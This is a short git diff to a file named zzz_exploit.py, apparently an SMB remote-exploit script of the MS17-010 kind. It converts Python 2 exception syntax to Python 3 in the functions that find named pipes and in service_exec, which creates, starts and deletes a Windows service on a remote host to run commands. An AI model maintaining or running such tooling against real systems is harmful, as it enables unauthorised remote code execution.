diff --git a/zzz_exploit.py b/zzz_exploit.py index 6b7b575..6b40510 100644 --- a/zzz_exploit.py +++ b/zzz_exploit.py @@ -292,7 +292,7 @@ def find_named_pipe(conn): fid = conn.nt_create_andx(tid, pipe) conn.close(tid, fid) found_pipe = pipe - except smb.SessionError, e: + except smb.SessionError as e: pass conn.disconnect_tree(tid) @@ -924,7 +924,7 @@ def service_exec(conn, cmd): # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') - except Exception, e: + except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: @@ -945,13 +945,13 @@ def service_exec(conn, cmd): # using command line always makes starting service fail because SetServiceStatus() does not get called #print('Stoping service %s.....' % service_name) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) - except Exception, e: + except Exception as e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) - except Exception, e: + except Exception as e: print("ServiceExec Error on: %s" % conn.get_remote_host()) print(str(e)) finally: